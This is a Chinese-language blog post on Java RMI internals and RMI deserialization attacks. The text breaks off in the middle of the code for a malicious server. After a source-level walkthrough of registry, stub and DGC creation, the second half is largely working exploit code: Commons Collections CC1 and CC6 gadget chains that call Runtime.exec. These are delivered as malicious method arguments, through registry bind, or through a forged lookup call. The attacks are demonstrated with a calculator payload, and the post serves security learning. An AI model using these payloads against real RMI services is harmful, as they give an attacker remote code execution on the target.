RMI 反序列化詳細分析

高人于斯發表於2024-07-29

java RMI 學習

RMI 是什麼

Java RMI(Java Remote Method Invocation),即Java遠端方法呼叫。是Java程式語言裡,一種用於實現遠端過程呼叫的應用程式程式設計介面。RMI 使用 JRMP(一種協議)實現,使得客戶端執行的程式可以呼叫遠端伺服器上的物件。是實現RPC的一種方式。

RMI 的構架

Stub和Skeleton

Stub(存根)和Skeleton(骨架),當客戶端試圖呼叫一個遠端物件,實際上會呼叫客戶端本地的一個代理類,也就是Stub。而在呼叫服務端的目標類之前,也會經過一個對應的代理類,也就是Skeleton。它從Stub接收遠端方法呼叫並將它們傳遞給物件。通常來說,Stub用於模擬或代替系統中的某個元件,而Skeleton用於描述系統的基本架構或結構。Stub通常是用於測試或替代元件,而Skeleton通常是用於指導系統的設計和構建過程。

RMI 實列元素

  • Client:客戶端,呼叫遠端方法
  • Server:服務端,提供遠端服務
  • Registry:註冊中心,類比成 RMI 的電話薄。類似一個閘道器,自己並不執行遠端方法。但服務端可以在上面註冊一個 Name 到物件的繫結關係。客戶端透過這個 Name 向註冊中心查詢,得到這個繫結關係後,再連結服務端。使用註冊中心查詢對另一臺主機上已經註冊遠端物件的引用。註冊中心引導透過遠端方法來傳遞遠端引用

RMI 實現過程

這張圖非常詳細的描述了 RMI 的過程,先是遠端的服務端建立並註冊遠端物件,然後客戶端再進行查詢的的時候先會去註冊中心進行查詢,然後註冊中心返回服務端遠端物件的存根

然後呼叫遠端物件方法時,客戶端本地存根和服務端骨架進行通訊,然後就是骨架代理進行方法呼叫並且再服務端進行執行,然後骨架又把結果返回給存根,最後存根把結果給客戶端,更詳細的圖

一個RMI 實列

java. rmi. Remote 介面

java.rmi.Remote介面用於標識可以從非本地虛擬機器呼叫其方法的介面。任何作為遠端物件的物件必須直接或者間接實現。只有那些遠端介面(繼承java.rmi.Remote介面)中指定的方法才可以遠端使用

java.rmi.server.UnicastRemoteObject類

RMI提供了一些遠端物件實現可以繼承的便利類,這些類有助於遠端物件的建立,其中包括java.rmi.server.UnicastRemoteObject類。這個類造方法會呼叫exportObject或呼叫exportObject靜態方法,它會返回遠端物件代理類,也就是Stub。如果不繼承該類可以手動呼叫其靜態方法 exportObject 來手動 export 物件。

RMI Server

一、編寫一個遠端介面

遠端介面要求:

  • 使用public宣告,否則客戶端在嘗試載入實現遠端介面的遠端物件時會出錯。(如果客戶端、服務端放一起沒關係)
  • 同時需要繼承Remote類,也就是需要實現java.rmi.Remote介面
  • 介面的方法需要宣告java.rmi.RemoteException報錯
  • 服務端實現這個遠端介面

定義一個我們期望能夠遠端呼叫的介面,這個介面必須擴充套件 java.rmi.Remote 介面,用來遠端呼叫的物件作為這個介面的例項,也將實現這個介面,為這個介面生成的代理(Stub)也是如此。這個介面中的所有方法都必須宣告丟擲 java.rmi.RemoteException 異常,

package org.example;  
import java.rmi.Remote;  
import java.rmi.RemoteException;  
  
public interface RMIinter extends Remote {  
    public String hello() throws RemoteException;  
}

二、編寫一個實現了這個遠端介面的實現類

實現類要求:

  • 實現遠端介面
  • 繼承UnicastRemoteObject類(具體效果上面有說)
  • 建構函式需要丟擲一個RemoteException錯誤
  • 實現類中使用的物件必須都可序列化,即都繼承java.io.Serializable
  • 註冊遠端物件
package org.example;  
  
import java.rmi.RemoteException;  
import java.rmi.server.UnicastRemoteObject;  
  
public class RMIobj extends UnicastRemoteObject implements RMIinter {  
  
    protected RMIobj() throws RemoteException {  
        super();  
    }  
  
    public String hello() throws RemoteException {  
        System.out.println("hello()被呼叫");  
        return "gaoren";  
    }  
}

現在被呼叫的物件就建立好了,接下來就是如何實現呼叫了。

RMI Registry

在上面的流程圖不難看到還有個Registry 的思想(不在解釋),這種思想主要由 java.rmi.registry.Registryjava.rmi.Naming 來實現。

1、java.rmi.Naming

這是一個 final 類,提供了在遠端物件登錄檔(Registry)中儲存和獲取遠端物件引用的方法,這個類提供的每個方法都有一個 URL 格式的引數,格式如下: //host:port/name

  • host 表示登錄檔所在的主機
  • port 表示登錄檔接受呼叫的埠號,預設為 1099
  • name 表示一個註冊 Remote Object 的引用的名稱,不能是登錄檔中的一些關鍵字

Naming 提供了查詢(lookup)、繫結(bind)、重新繫結(rebind)、接觸繫結(unbind)、list(列表)用來對登錄檔進行操作。也就是說,Naming 是一個用來對登錄檔進行操作的類。而這些方法的具體實現,其實是呼叫 LocateRegistry.getRegistry 方法獲取了 Registry 介面的實現類,並呼叫其相關方法進行實現的。

2、java. rmi. registry. Registry

這個介面在 RMI 下有兩個實現類,分別是 RegistryImpl 以及 RegistryImpl_Stub。

我們通常使用 LocateRegistry#createRegistry() 方法來建立註冊中心

package org.example;  
import java.rmi.Naming;  
import java.rmi.registry.LocateRegistry;  
  
  
public class Registry {  
    public static void main(String args[])throws Exception {  
            LocateRegistry.createRegistry(1099);  
            System.out.println("Server Start");  
        // 建立遠端物件  
        RMIinter rmiobj = new RMIobj();  
        // 繫結遠端物件  
        Naming.bind("rmi://localhost:1099/Hello", rmiobj);  
    }  
}

RMI Client

客戶端進行呼叫,向註冊中心查詢相應的Name,呼叫相應的遠端方法

package org.example;  
  
import java.rmi.NotBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.util.Arrays;  
  
public class cilent {  
    public static void main(String[] args)throws RemoteException, NotBoundException {  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
  
        System.out.println(Arrays.toString(registry.list()));  
        RMIinter stub = (RMIinter) registry.lookup("Hello");  
        System.out.println(stub.hello());  
  
    }  
}

這裡 RMIinter 介面在 Client/Server/Registry 均應該存在,只不過通常 Registry 與 Server 通常在同一端上。

首先需要啟動服務端RMI服務,執行服務端程式碼。然後客戶端請求遠端方法,也就是執行客戶端的程式碼
服務端

客戶端

這樣一次簡單的遠端呼叫就完成了,不難發現其實方法的執行是在服務端執行的。

原始碼分析

服務註冊

遠端物件註冊

關鍵程式碼:

RMIinter rmiobj = new RMIobj();

直接開始除錯,在到 UnicastRemoteObject 建構函式之前,會先呼叫其靜態方法進行一些賦值,不過不影響不用管,直接到其建構函式


初始化時會呼叫exportObject方法,這裡的this是我們要註冊的遠端物件。

可以看到這裡的 exportObject 方法是個靜態函式,所以說如果沒有繼承 UnicastRemoteObject 類可與進行靜態呼叫其方法。然後其引數 new 了一個 UnicastServerRef 類,跟進一手

又 new 了一個 LiveRef 類,繼續跟進

this 就是呼叫其建構函式,然後 new 的那個就是個 id,跟進其建構函式,

三個引數,第二個引數就是處理的網路請求,把埠進行一通處理,繼續跟進 this

可以看到剛剛的第二個引數就是 ip 和埠嘛,然後出去。其實總的來說就是建立了個 LiveRef 類然後將其賦值給服務端和客戶端。

出來後繼續跟進 exportObject 方法

這裡可以看到把剛剛的 liveref 賦值給了 sref,也就是服務端。

繼續跟進 sref.exportObject 方法

可以看到這裡出現了 stub 代理類,透過 createProxy 來建立的,跟進

先看下這裡的三個引數

impClass 就是 stub 代理類,cilentRef 實質上還是之前建立的 ref。

繼續看看到一處邏輯

最主要的是 stubClassExists(remoteClass),其值為真就呼叫 if 語句,跟進看看:

因為這裡的 remoteClass 沒有 remoteClass_Stub 所以返回 false,

那麼就會進行動態代理的建立,用 RemoteObjectInvocationHandlerUnicastRef物件建立動態代理,最後會返回一個Remote型別的代理類,在呼叫代理類方法時,就會會呼叫 RemoteObjectInvocationHandler.invoke 方法,這個後面再議。繼續下一步,stub 建立好後其實可以看到裡面最主要的還是 ref 部分。

再往下走,發現其建立了 target 類,

看其引數,也就是一個總封裝,把前面哪些物件什麼的全放進去。

繼續跟進看到呼叫了 ref.exportObject,然後一直跟進

最後到了 TCPTransport.exportObject 方法,

listen() 裡面就是涉及到網路請求的內容的,就是開啟一個埠然後等待客戶端連線進行操作。

可以看到就是已經開啟埠了,然後又呼叫了父類的 exportObject 方法,

將Target物件存放進ObjectTable中,ObjectTable 用來管理所有釋出的服務例項 Target。

其實總的來說涉及到的大多是網路通訊的東西,就是把建立的 ref 賦值給服務端然後建立個 stub,在把前面那些物件全部封裝進 target,然後在 TCPTransport 中對網路通訊進行處理釋出服務,最後把 target 放進 ObjectTable 中。

註冊中心建立

ocateRegistry.createRegistry(1099);

跟進 createRegistry 函式,

new 了一個 RegistryImpl 物件,繼續跟進

看到這裡和上面遠端物件註冊很像,都 new 了個 liveref 物件,這裡就不在跟進了和上面是一樣的。

繼續走又建立了個 UnicastServerRef 物件,


就是個賦值,跟進 setup 方法裡面,

呼叫了 uref.exportObject 方法,回顧上面的遠端物件註冊,是呼叫的 sref.exportObject

其實都是 UnicastServerRefexportObject 方法,這裡的 this 是 RegestryImpl 物件

繼續跟進

又是建立 stub,不過稍有區別了,跟進

這裡的 RometeClassRegestryImpl 物件,由於存在 RegestryImpl_Stub ,所以會返回 true,執行 if 語句。

執行的 createStub 方法其實也就是建立了個 RegestryImpl_Stub 實列化物件,

最後回到 exportObject 方法,stub 代理類也就建立好了,對比和上面遠端物件註冊中的 stub 確實不一樣,上面的 stub 是動態代理建立的。

然後又因為滿足下面的 if 條件會執行 setSkeleton 方法

看到又是建立 skle 代理,其實和 stub 代理建立差別不大,實列化了 RegestryImpl_Skel 物件

最後又是建立了個 target 物件

也是把剛剛那些物件進行一個總封裝,不過比起上面的遠端物件註冊多了個遠端物件 Impl 中多了 skel 物件,並且 stub 物件也不一樣了。

最後還是呼叫 putTarget 方法將其新增進 objecttable 中,可以看到多了一個 hashmap,11 是遠端物件註冊新增的,至於那個 2 是 DGC ,後面再說。

註冊中心與遠端服務物件註冊的大部分流程相同,差異在:

  • 遠端服務物件使用動態代理,invoke 方法最終呼叫 UnicastRef 的 invoke 方法,註冊中心使用 RegistryImpl_Stub,同時還建立了 RegistryImpl_Skel
  • 遠端物件預設隨機埠,註冊中心預設是 1099(當然也可以指定)

服務註冊

關鍵程式碼

Naming.bind("rmi://localhost:1099/Hello", rmiobj);

先是把兩個引數進行處理,然後只把 name 被 obj 傳入 registry.bind 中。

呼叫了 newCall 方法,(這裡我這個類是 class 檔案,沒有原始碼無法正常除錯,隨便調調好了)

繼續跟進,

看到熟悉的 ref 了,總之這個方法就是建立一個連線,然後繼續看到會對其進行序列化,

然後執行了UnicastRef.invoke方法,

跟進後在方法 executeCall ,又對連線物件行了反序列化。

這個應該屬於遠端繫結,一般服務端和註冊中心在一端可以直接執行如下命令進行繫結

java.rmi.registry.Registry r = LocateRegistry.createRegistry(1099);  
r.bind("Hello", rmiobj);

這個 bind 就太好分析了,就不多說了。

服務發現

服務發現,就是獲取註冊中心並對其進行操作的過程,這裡麵包含 Server 端和 Client 端兩種。如果是在 Server 端,我們希望在註冊中心上繫結(bind)我們的服務,如果是 Client 端,我們希望在註冊中心遍歷(list)、查詢(lookup)和呼叫服務。

相應程式碼:

RMIinter stub = (RMIinter) registry.lookup("Hello");

呼叫lookup方法,透過對應的RMI_NAME,獲取遠端物件介面

同樣是個建立個連線,然後對 remoteCall 進行序列化。

又透過UnicastRef.invoke方法傳輸這個remoteCall,透過反序列化來獲取註冊遠端物件時建立的代理類。

最後return這個物件。

服務呼叫

上面 Client 拿到 Registry 端返回的動態代理物件並且反序列化後,對其進行呼叫,這看起來是本地進行呼叫,但實際上是動態代理的 RemoteObjectInvocationHandler 委託 RemoteRef 的 invoke 方法進行遠端通訊,由於這個動態代理類中儲存了真正 Server 端對此項服務監聽的埠,因此 Client 端直接與 Server 端進行通訊。

客戶端

直接看

stub 是個動態代理類,在其呼叫 hello() 方法的時候會直接呼叫到 handler 的 invoke 方法,

最後呼叫到了invokeRemoteMethod 函式


跟進,這裡 ref 是 UnicastRef,會呼叫其 invoke 方法。

marshalValue() 就是進行序列化,是對傳入的引數進行序列化,只是這裡呼叫的 hello 方法是個無參方法。

然後繼續看見呼叫了executeCall 函式。

剛剛上面服務註冊不難看出裡面可以進行反序列化,這裡不在深入了,繼續看這個 invoke 方法邏輯,發現如果方法有返回值還會呼叫 unmarshalValue 方法進行反序列化,

但是由於這裡返回值是 string 型不符合條件會直接返回。

到此客戶端的方法呼叫就結束了。

註冊中心

接下來繼續看註冊中心,要從 listen 哪裡開始跟進,總之就是釋出網路後處理一些請求的 JRMP 協議內容,最後呼叫到了 serviceCall 方法

可以對 objectTable 進行了個獲取,看看 target 裡是什麼

就是註冊中心的 stub 嘛,然後繼續看發現其分發器 disp 裡有 skel 代理類

在該函式最下面呼叫了 disp.dispatch 方法

然後繼續看,skel 不是 null 滿足條件執行 if 語句,呼叫 oldDispatch 方法,

在這個方法裡面最後呼叫到了 skle 的 dispatch 方法

跟蹤進入

由於這個類是 class 檔案,就簡單分析一下吧,有很多 case,然後這裡客戶端呼叫的是 lookup 方法是 2

就是查詢 RMI 服務名繫結的介面物件,序列化該物件並透過 RemoteCall 傳輸到客戶端。

服務端

最後在看服務端是怎麼處理的。

前面是差不多的就是在進行 skle 的條件判斷的時候會是 false

不會執行 if 語句,繼續向下走,

發現其會把在客戶端進行序列化的引數進行反序列化(我這裡方法沒有引數無法進行除錯)。

最後進行方法呼叫。

然後再把返回值進行序列化

至此就完美閉環了。

總結

RMI 底層通訊採用了Stub (執行在客戶端) 和 Skeleton (執行在服務端) 機制,RMI 呼叫遠端方法的大致如下:

  1. RMI 客戶端在呼叫遠端方法時會先建立 Stub ( sun.rmi.registry.RegistryImpl_Stub )。
  2. Stub 會將 Remote 物件傳遞給遠端引用層 ( java.rmi.server.RemoteRef ) 並建立 java.rmi.server.RemoteCall( 遠端呼叫 )物件。
  3. RemoteCall 序列化 RMI 服務名稱、Remote 物件。
  4. RMI 客戶端的遠端引用層傳輸 RemoteCall 序列化後的請求資訊透過 Socket 連線的方式傳輸到 RMI 服務端的遠端引用層。
  5. RMI服務端的遠端引用層( sun.rmi.server.UnicastServerRef )收到請求會請求傳遞給 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。
  6. Skeleton 呼叫 RemoteCall 反序列化 RMI 客戶端傳過來的序列化。
  7. Skeleton 處理客戶端請求:bind、list、lookup、rebind、unbind,如果是 lookup 則查詢 RMI 服務名繫結的介面物件,序列化該物件並透過 RemoteCall 傳輸到客戶端。
  8. RMI 客戶端反序列化服務端結果,獲取遠端物件的引用。
  9. RMI 客戶端呼叫遠端方法,RMI服務端反射呼叫RMI服務實現類的對應方法並序列化執行結果返回給客戶端。
  10. RMI 客戶端反序列化 RMI 遠端方法呼叫結果。

DGC

Distributed Garbage Collection,分散式垃圾回收

當 RMI 伺服器返回一個物件到其客戶端(遠端方法的呼叫方)時,其跟蹤遠端物件在客戶機中的使用。當再沒有更多的對客戶機上遠端物件的引用時,或者如果引用的“租借”過期並且沒有更新,伺服器將垃圾回收遠端物件。

在前面遠端物件註冊時呼叫 put 時發現,在還沒有 put 進行封裝 target 時,裡面已經存在一個 target 了。

可以看見其 stub 是 DGCImpl_Stub 類,那這個是怎麼建立的呢?可以看見在執行 putTarget 方法時有這麼一串程式碼

因為這裡的 dgclog 是個靜態變數

在呼叫靜態變數時會完成類的初始化,最後會建立代理類

從上面的 target 不難看出這裡的 stub 建立更像註冊中心中 stub 的建立,因為 DCGImpl 存在 DCGImpl_Stub,所以相同的還會建立 DGCImpl_Skel 物件。

Java提供了java.rmi.dgc.DGC介面,這個介面繼承了Remote介面,定義了dirty和clean方法

看到 dirty 方法呼叫了 UnicastRef.invoke 方法,

剩下的就是裡面反序列化了。然後再看服務端的 DCGImpl_Skel 中

case1 或 2 就是對應的不同方法嘛,也是存在反序列化的。

攻擊 RMI

在上面的 RMI 呼叫過程中我們可以發現,全部的通訊流程均透過反序列化實現,而且在三個角色中均進行了反序列化的操作。那也就說明針對三端都有攻擊的可能,我們依次來看一下。

攻擊 server 端

惡意方法

遠端方法的呼叫實際發生在服務端。當註冊的遠端物件上存在某個惡意方法,我們可以在客戶端呼叫這個方法來攻擊客戶端,最簡單的一種

惡意引數

在呼叫遠端方法,會觸發代理類的invoke方法,方法中會獲取服務端建立的Stub,會在本地呼叫這個Stub並傳遞引數,序列化這個引數,然後再服務端是由會對這個引數進行反序列化,上面已經詳細說明過了。


那麼就可以構造惡意 Object 型引數。利用 CC1 的 lazymap 鏈

package org.example;  
import java.rmi.NotBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.util.Arrays;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Method;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Proxy;  
  
public class cilent {  
    public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
        Object execObject = getexec();  
        System.out.println(Arrays.toString(registry.list()));  
        RMIinter stub = (RMIinter) registry.lookup("Hello");  
        System.out.println(stub.hello(execObject));  
  
    }  
    private static Object getexec() throws Exception{  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        Transformer transformerChain = new ChainedTransformer(transformers);  
  
        Map innerMap = new HashMap();  
        innerMap.put("value","111");  
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);  
  
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);  
        c.setAccessible(true);  
  
        InvocationHandler handler = (InvocationHandler) c.newInstance(Target.class, outerMap);  
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClass().getClassLoader(), new Class[]{Map.class}, handler);  
        Object o = c.newInstance(Target.class, proxyMap);  
        return o;  
    }  
}

服務端也需要 cc1 依賴,簡單除錯一番可以看到會呼叫到 AnnotationInvocationHandler.readobject

剩下的就不用多說了和 cc1 一樣,當然其他鏈子都行,比如 cc6 起碼可以打打其他 jdk 版本

package org.example;  
  
import java.lang.reflect.*;  
import java.rmi.NotBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.util.Arrays;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.lang.annotation.Target;  
import java.util.HashMap;  
import java.util.Map;  
  
public class cilent {  
    public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
        Object execObject = getexec();  
        System.out.println(Arrays.toString(registry.list()));  
        RMIinter stub = (RMIinter) registry.lookup("Hello");  
        System.out.println(stub.hello(execObject));  
  
    }  
    private static Object getexec() throws Exception{  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));  
  
        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(Tie,"gaoren");  
  
        Class<LazyMap> lazyMapClass = LazyMap.class;  
        Field factoryField = lazyMapClass.getDeclaredField("factory");  
        factoryField.setAccessible(true);  
        factoryField.set(Lazy, cha);  
  
        Lazy.remove("aaa");  
        return hashmap;  
    }  
}

其他的如法炮製就是了。

替身攻擊

在討論對 Server 端的攻擊時,還出現了另外一種針對引數的攻擊思路--------替身攻擊。依舊是用來繞過當引數不是 Object,是指定型別,但是還想觸發反序列化的一種討論。

大體的思路就是呼叫的方法引數是 HelloObject,而攻擊者希望使用 CC 鏈來反序列化,比如使用了一個入口點為 HashMap 的 POC,那麼攻擊者在本地的環境中將 HashMap 重寫,讓 HashMap 繼承 HelloObject,然後實現反序列化漏洞攻擊的邏輯,用來欺騙 RMI 的校驗機制。

攻擊 Registry 端

前面看到在使用 Registry 時,首先由 Server 端向 Registry 端繫結服務物件,這個物件是一個 Server 端生成的動態代理類,Registry 端會反序列化這個類並存在自己的 RegistryImpl 的 bindings 中,以供後續的查詢,這裡可以進行一個利用。也可以從客戶端進行攻擊,上面看到會呼叫 RegistryImpl_Skel.dispatch,最後裡面是存在反序列化的,也可以利用。

RegistryImpl_Skel.dispatch 裡面對應關係如下

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

list

沒有反序列化,所以也就無法攻擊了。

bind&rebind

case 0:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                } catch (IOException var94) {
                    throw new UnmarshalException("error unmarshalling arguments", var94);
                } catch (ClassNotFoundException var95) {
                    throw new UnmarshalException("error unmarshalling arguments", var95);
                } finally {
                    var2.releaseInputStream();
                }

                var6.bind(var7, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var93) {
                    throw new MarshalException("error marshalling return", var93);
                }
case 3:
                try {
                    var11 = var2.getInputStream();
                    var7 = (String)var11.readObject();
                    var8 = (Remote)var11.readObject();
                } catch (IOException var85) {
                    throw new UnmarshalException("error unmarshalling arguments", var85);
                } catch (ClassNotFoundException var86) {
                    throw new UnmarshalException("error unmarshalling arguments", var86);
                } finally {
                    var2.releaseInputStream();
                }

                var6.rebind(var7, var8);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var84) {
                    throw new MarshalException("error marshalling return", var84);
                }

是有 readobject 方法的,可以進行反序列化攻擊。看到都是獲取 var2 的流然後進行反序列化,看看 var2 是什麼

看到師傅說這就是一個遠端物件,也就是這兩個方法會用readObject讀出引數名和遠端物件。

所以還是 CC1 的 poc

package org.example;  
  
import java.rmi.NotBoundException;  
import java.rmi.Remote;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.util.Arrays;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Method;  
import java.util.HashMap;  
import java.util.Map;  
import java.lang.reflect.Proxy;  
  
public class cilent {  
    public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{  
  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
  
        Transformer chain = new ChainedTransformer(transformers);  
  
        HashMap innermap = new HashMap();  
    
        innermap.put("value","111");  
        Map map = LazyMap.decorate(innermap, chain);  
  
  
        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);  
        handler_constructor.setAccessible(true);  
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //建立第一個代理的handler  
  
        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //建立proxy物件  
  
  
        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);  
        AnnotationInvocationHandler_Constructor.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);  
  
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);  
  
        Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler));  
  
        registry.bind("test",r);  
  
    }  
}

unbind&lookup

也存在反序列化

case 2:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var89) {
                    throw new UnmarshalException("error unmarshalling arguments", var89);
                } catch (ClassNotFoundException var90) {
                    throw new UnmarshalException("error unmarshalling arguments", var90);
                } finally {
                    var2.releaseInputStream();
                }

                var8 = var6.lookup(var7);
case 4:
                try {
                    var10 = var2.getInputStream();
                    var7 = (String)var10.readObject();
                } catch (IOException var81) {
                    throw new UnmarshalException("error unmarshalling arguments", var81);
                } catch (ClassNotFoundException var82) {
                    throw new UnmarshalException("error unmarshalling arguments", var82);
                } finally {
                    var2.releaseInputStream();
                }

                var6.unbind(var7);

也有呼叫 readobject 方法,但是和bind以及rebind不一樣的是隻能傳入String型別,這裡我們可以透過偽造連線請求進行利用,修改lookup方法程式碼使其可以傳入物件,原先的lookup方法

poc 直接抄的師傅們的了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class Client {

    public static void main(String[] args) throws Exception {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);

        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //建立第一個代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //建立proxy物件

        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, handler));
        // 獲取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //獲取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 偽造lookup的程式碼,去偽造傳輸資訊
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(r);
        ref.invoke(var2);
    }
}

攻擊 Client 端

上面看到遠端方法返回了一個命令執行結果到客戶端,客戶端會對其進行反序列化。意思是讓返回結果為惡意物件就行。

這個就得服務端返回一個 object 物件了

服務端

package org.example;  
  
import java.rmi.RemoteException;  
import java.rmi.server.UnicastRemoteObject;  
import java.lang.reflect.*;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import java.util.HashMap;  
import java.util.Map;  
public class RMIobj extends UnicastRemoteObject implements RMIinter {  
  
    protected RMIobj() throws RemoteException {  
        super();  
    }  
  
    public Object hello() throws RemoteException ,Exception{  
        InvocationHandler handler = null;  
        try {  
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{  
                    new ConstantTransformer(Runtime.class),  
                    new InvokerTransformer("getMethod", new Class[]{  
                            String.class, Class[].class}, new Object[]{  
                            "getRuntime", new Class[0]}),  
                    new InvokerTransformer("invoke", new Class[]{  
                            Object.class, Object[].class}, new Object[]{  
                            null, new Object[0]}),  
